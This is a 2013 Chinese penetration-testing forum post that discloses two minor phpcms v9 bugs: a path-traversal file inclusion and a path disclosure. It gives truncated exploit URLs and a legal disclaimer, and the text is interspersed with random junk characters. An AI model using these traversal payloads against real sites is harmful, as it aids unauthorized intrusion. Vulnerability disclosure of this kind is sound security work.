中国网络渗透测试联盟

标题: phpcms v9两个鸡肋漏洞 [打印本页]
作者: admin    时间: 2013-4-4 17:28
标题: phpcms v9两个鸡肋漏洞
我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。5 Q+ j$ t  a1 m/ f+ f8 W% a
$ A/ h" K4 z  R: s" L
Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck( b2 O5 V& z5 Q. _1 D4 r
, `: \2 {/ X# I; F& I1 ?9 B( f
#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
  I0 I3 A  g1 R: \+ |/ G4 s4 j# Q& @2 f; {
Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
- X  g1 z! g5 D) X6 c, B: e5 c! F  `5 }4 r9 k! s
#暴路径& q, Y1 m+ J) L1 F% \9 @
9 c# I' ?3 c0 a. K7 E" K9 `8 m* F
注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。* _# E! E- ?2 T$ s1 F# f) L

+ `  Y+ [3 V" t4 `8 D$ ~) \/ D4 U* j​) n( _, I- D9 w$ R; V- I

; Z# z4 y0 g3 ]0 L+1



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2